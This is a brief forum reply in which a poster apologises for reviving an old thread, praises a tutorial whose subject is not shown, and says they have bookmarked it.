Sorry for the gravedig, but damn this tut was awesome.

I'm on these exact subjects right now, bookmarked.

Thanks